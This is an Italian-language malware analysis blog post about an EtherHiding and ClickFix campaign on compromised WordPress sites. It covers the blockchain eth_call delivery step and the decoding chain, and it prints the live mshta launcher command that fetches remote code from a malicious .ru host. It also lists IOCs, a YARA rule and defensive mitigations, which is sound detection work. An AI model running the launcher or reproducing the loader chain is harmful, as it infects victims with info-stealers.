Ho avuto la fortuna di rilevare e analizzare una campagna che usa una catena multi-step molto simile a quella documentata a maggio scorso da Microsoft (EtherHiding + ClickFix), tecnica che finora sembrava diffusa all’estero con azioni mirate per esempio per utenti in Canada, ma non documentata (in-the-wild) in Italia. Il vettore rilevato su siti WordPress compromessi in Italia è costituito da:
- uno script JavaScript offuscato iniettato direttamente in homepage nella pagina (tag
<script src="data:text/javascript;base64,...">); - una chiamata JSON-RPC
eth_callverso un nodo BSC (testnet) per recuperare un payload codificato; - decodifica del payload (ABI → base64 →
atob()→eval()), che produce un HTA/JS che copia in clipboard un launchermshta.exee mostra istruzioni social-engineered; - esecuzione remota tramite
mshtache scarica un HTA/JS da host malevoli (es.s.vamuwe.ru), il quale poi lancia downloader (PowerShellIEX/DownloadString) per deployare stealer/loader (Lumma-like).
La tecnica sfrutta la blockchain come canale di consegna dinamico (resiliente alla rimozione) e il comportamento umano (paste → Run) per bypassare molte difese automatiche. Questo meccanismo è sicuramente nuovo da osservare in Italia
Contesto e correlazione con analisi Microsoft
Microsoft ha descritto in dettaglio la combinazione di EtherHiding (uso di dati on-chain per distribuire o orchestrare payload) e ClickFix (social-engineering che induce l’utente a incollare/eseguire comandi) per distribuire info-stealer, tra cui Lumma. Questa analisi conferma che lo stesso pattern è oggi osservabile anche in Italia: le differenze sono principalmente gli IOC (domini, contract address, selector), non la tecnica di base.
Offro un po’ di contesto per poter focalizzare i concetti che seguono nell’analisi tecnica. BSC è Binance Smart Chain, una piattaforma da utilizzare per avere uno smart contract che non effettuerà transazioni ma conterrà del codice malevolo all’interno.
Ricostruzione tecnica (flow dell’attacco)
- Iniezione
- Il sito WordPress (tramite un plugin obsoleto e quindi vulnerabile) viene compromesso con un’injection che mostra uno script inline
data:text/javascript;base64,...subito sotto i meta dei plugin (nell’header).
- Il sito WordPress (tramite un plugin obsoleto e quindi vulnerabile) viene compromesso con un’injection che mostra uno script inline
- Loader offuscato lato client
- Lo script de-base64izza un JS offuscato che usa tabelle di lookup/rotazioni (
_0x25fb1b,_0x754a,_0x375646) per nascondere stringhe e costanti. - Compone e invia una chiamata JSON-RPC di tipo
eth_callversohttps://bsc-testnet.bnbchain.org/.
- Lo script de-base64izza un JS offuscato che usa tabelle di lookup/rotazioni (
- Chiamata JSON-RPC (riproducibile in lab)
{ "jsonrpc":"2.0", "method":"eth_call", "params":[ {"to":"0xA1decFB75C8C0CA28C10517ce56B710baf727d2e","data":"0x6d4ce63c"}, "latest" ], "id":97 }to: contract address (IOC).data: selector0x6d4ce63c(IOC).
- Decodifica del risultato
- Lo script interpreta il
result: legge i primi 32 byte come lunghezzaN, prende i successiviNbyte, li concatena in una stringa base64 e applicaatob()→eval(). - Il payload decodificato contiene HTML/JS/HTA che copia in clipboard il launcher
mshta.execon un URL malevolo, e visualizza istruzioni per convincere la vittima a incollare e lanciare il comando.
- Lo script interpreta il
- Pivot di esecuzione
- Comando clipboard rilevato:
"C:\Windows\system32\mshta.exe" https://s.vamuwe.ru/y4.google?t=l9yuyry1 mshtascarica l’HTA remoto ed esegue codice (downloader → PowerShellIEX→ payload finale, es. infostealer).
- Comando clipboard rilevato:
Analisi tecnica approfondita
Uso della blockchain come canale di consegna
- Pro per gli attaccanti: immutabilità e resilienza; possibilità di aggiornare messaggi/istruzioni senza toccare il sito web; difficoltà a rimuovere messaggi pubblicamente disponibili.
- Contro per gli attaccanti: potenziale tracciabilità pubblica su chain explorer; se usano testnet possono sfruttare minor controllo di blocco.
Nel nostro caso lo script effettua eth_call (read-only) contro BSC testnet; il contract risponde con dati ABI (Application Binary Interface) che, una volta processati, contengono il payload base64. Questo è il medesimo pattern EtherHiding descritto da Microsoft.
Perchè eth_call?
Perchè permette agli attaccanti di aggiornare “istruzioni” semplicemente scrivendo nuovi contenuti nello smart contract (o cambiando lo stato in un contract di cui controllano l’owner). Lo script sul sito rimane invariato: legge sempre il contratto e ottiene dinamicamente il messaggio. Questo dà flessibilità e persistenza all’attacco senza dover riconnettersi al sito compromesso ogni volta.
De-offuscazione e decoding
- Offuscamento: lookup table + rotazione; ho emulato la funzione di mapping per risolvere le stringhe critiche.
- Decodifica ABI: il JS legge un intero di lunghezza (32 byte) e poi estrae il payload; tale payload è una stringa base64 che viene
atob()ata e poieval()ata — passaggio critico perché permette l’esecuzione dinamica di codice non presente sul server originario. - Il payload risultante copia in clipboard il comando
mshtae mostra un prompt per convincere l’utente a incollarlo.
Social-engineering: ClickFix

- Il popup o la finta verifica persuasiva è progettata per abbassare la soglia d’attenzione; le istruzioni sono semplici: “apri Esegui, incolla e premi OK” → l’utente esegue
mshtache avvia il resto della catena. Addiritura si suggerisce la combinazione di tasti che apre direttamente Esegui. Inoltre il popup è dinamico e si modella in base al sistema operativo utilizzato dall’utente. Funziona quindi con Windows ugualmente come su MacOS. - Questa tecnica bypassa molte policy di difesa che si basano solo su download/execution automatica, perché è l’utente a fornire volontariamente l’esecuzione.
Implicazioni difensive
Rilevamento suggerito
- Network / Proxy: allertare su connessioni a
s.vamuwe.rue absc-testnet.bnbchain.org; loggare bodies JSON-RPC contenentieth_calle0x6d4ce63c. - EDR / Endpoint:
- Evento di processo:
mshta.execon commandline che includevamuwe.ruo path/y4.google. powershell.execon flags-nop,-w hidden,IEX,DownloadString.- Clipboard activity correlata a process creation (se il tuo EDR supporta telemetria clipboard).
- Evento di processo:
- File / Web: scannerare siti/backup per
data:text/javascript;base64e per pattern di offuscamento_0x754a.
Mitigazioni pratiche
- Bloccare domini/URL malevoli a livello proxy/DNS/firewall.
- Disallow / limit
mshta.exe& gestione HTA tramite AppLocker / WDAC (solo se compatibile con il business). - Disabilitare esecuzione di codice in
wp-content/uploads. - Aggiornare WordPress e plugin (rimuovere plugin obsoleti).
- Forzare rotation credenziali e verificare accessi hosting.
- User training mirato: non incollare/eseguire comandi ricevuti da pagine web; policy aziendali su paste/run.
Comandi e script utili (solo per laboratorio analisi)
Riprodurre eth_call (curl)
RPC="https://bsc-testnet.bnbchain.org/"
TO="0xA1decFB75C8C0CA28C10517ce56B710baf727d2e"
curl -s -X POST "$RPC" -H "Content-Type: application/json" -d '{
"jsonrpc":"2.0",
"method":"eth_call",
"params":[{"to":"'"$TO"'","data":"0x6d4ce63c"},"latest"],
"id":97
}' | jq -r .
Decodifica result (Python)
import base64
resultHex = "<paste eth_call result here>"
h = resultHex[2:] if resultHex.startswith("0x") else resultHex
data_bytes = bytes.fromhex(h)
length = int.from_bytes(data_bytes[:32], byteorder='big')
payload_bytes = data_bytes[32:32+length]
payload_b64 = payload_bytes.decode('latin1')
if len(payload_b64) % 4:
payload_b64 += '=' * (4 - (len(payload_b64) % 4))
decoded = base64.b64decode(payload_b64)
open("decoded_payload.bin","wb").write(decoded)
print("decoded written to decoded_payload.bin")
YARA rule utile di esempio
rule mshta_remote_ru {
meta:
author = "analyst"
desc = "Detects mshta launcher or HTA with .ru host or base64 JS loader"
date = "2025-10-07"
strings:
$mshta_cmd = "mshta.exe" nocase
$s_vamuwe = "s.vamuwe.ru" ascii
$data_uri = "data:text/javascript;base64" ascii
$atob = "atob(" nocase
$eval = "eval(" nocase
condition:
any of ($mshta_cmd, $s_vamuwe) or ($data_uri and ($atob or $eval))
}
Artefatti (IOC principali)
Vedi tabella sotto per l’elenco completo. Qui sintetizzo i più rilevanti per hunting e blocco rapido.
- Domain / Host:
s.vamuwe.ru - URL launcher:
https://s.vamuwe.ru/y4.google?t=l9yuyry1 - RPC endpoint:
https://bsc-testnet.bnbchain.org/ - Contract
to:0xA1decFB75C8C0CA28C10517ce56B710baf727d2e - Selector / calldata:
0x6d4ce63c - Result (address):
0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290(prima risposta) - Result (lungo): blob ABI contenente una stringa base64 → payload JS/HTA →
eval(atob(...)) - Injected code pattern:
data:text/javascript;base64,inline script - Offuscation markers:
_0x25fb1b,_0x754a,_0x375646
| Tipo | Valore | Contesto / Dove trovato | Uso raccomandato / Note |
|---|---|---|---|
| Domain / Host | s.vamuwe.ru | URL usato nel comando mshta: mshta.exe "https://s.vamuwe.ru/y4.google?t=l9yuyry1" | Bloccare a livello proxy/firewall; cercare traffico HTTP(S) verso questo host nei proxy/IDS; WHOIS/passiveDNS. |
| URL (full) | https://s.vamuwe.ru/y4.google?t=l9yuyry1 | Comando mshta incorporato nel payload — launcher remoto | Bloccare e conservare headers se catturati; analisi statica del file HTA scaricato. |
| Launcher / Command | "C:\Windows\system32\mshta.exe" https://s.vamuwe.ru/y4.google?t=l9yuyry1 | Comando copiato/incolllato in clipboard e istruito all’utente | Detection su process creation (Sysmon/EDR): processo mshta.exe con commandline contenente vamuwe.ru o /y4.google. |
| Domain (RPC) | bsc-testnet.bnbchain.org | Endpoint JSON-RPC chiamato dallo script (fetch) | Monitorare richieste outbound HTTP POST verso RPC; possibile C2 via blockchain; bloccare o sinkhole per analisi. |
| Contract address | 0xA1decFB75C8C0CA28C10517ce56B710baf727d2e | Param to della chiamata eth_call costruita dallo script | Usare come IOC per query su chain explorer (testnet) e per ricostruire storage/funzioni view; cercare riferimenti in filesystem/DB. |
| eth_call selector / calldata | 0x6d4ce63c | data inviato nella eth_call verso il contratto (calldata 4 byte) | Cercare in JS/DB il valore; utile per riprodurre chiamata in sandbox e recuperare payload. |
| eth_call result (address) | 0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290 | Primo result ottenuto (short address) | Potrebbe essere pointer/indice: tracciare ulteriore chiamate che usano questo valore. |
| eth_call result (base64 payload) | (lungo blob base64 estratto dal result; vedi campo result lungo) | Secondo result (quello decodificato in chiaro) — payload base64 che viene atob() e eval() | Conservare il blob; analisi statico -> base64 -> payload JS/command. |
| Pattern script incriminato | <script src="data:text/javascript;base64,...."> | Modalità di iniezione trovata nel sito WordPress compromesso | Ricerca nel filesystem/DB per data:text/javascript o tag script inline; pulizia/replace; query WP-CLI / grep. |
| Payload clipboard (excerpt) | mshta.exe "https://s.vamuwe.ru/y4.google?t=l9yuyry1" (vedi riga 3) | Comando copiato in clipboard dall’HTA/JS decodificato | Detection: monitoraggio API clipboard (browser telemetry) e policy UAC endpoint; EDR alert su paste+run pattern. |
| Offuscation / lookup pattern | _0x25fb1b, _0x754a, _0x375646 (lookup + rotazione) | Pattern di offuscamento JS usato per nascondere stringhe e costruire JSON-RPC | Usare per rule statiche (regex) su file JS: cerca function _0x754a e array _0x25fb1b. |
| Base64 large blob (pattern) | presenza di lunga stringa base64 nel JS | payload decodificato conteneva base64 -> risultato JS eseguibile | Rule per grep "[A-Za-z0-9+/=]{200,}" e per YARA che cerchi base64 inline nei JS/HTA. |
| TTP / Behavioral pattern | eth_call → decode → atob() → eval() → navigator.clipboard.writeText(...) → social-engineer popup | Flusso di attacco osservato (chain of trust via smart contract) | Modellare detection behaviorale: web requests verso RPC + iniezione clipboard/popups; EDR/Browser telemetry. |
| Possible C2 pattern | fetch JSON-RPC → interpret result as payload → dynamic loader | Persistenza e canale di controllo tramite blockchain-read-only | Block outbound RPC or sinkhole; log all such requests. |
| Suspicious domain TLD | .ru (s.vamuwe.ru) | Dominion used for payload hosting | Indicatore di rischio: consultare blocklists, passive DNS. |
| Potential downloader URL patterns | https://.../payload.ps1 (esempio derivato dal powershell IEX pattern) | Possibile URL usato nei payload successivi (se scaricato da powershell) | Ricerca in web logs e DNS per contatto verso domini sospetti. |
| HTTP header hints | Possibile requirement di UA MSHTML / IE11 / mshta UA | Server-side cloaking (Cloudflare) che risponde solo a browser-like UA | Usare in hunting: riprodurre UA in curl / puppet to fetch resource. |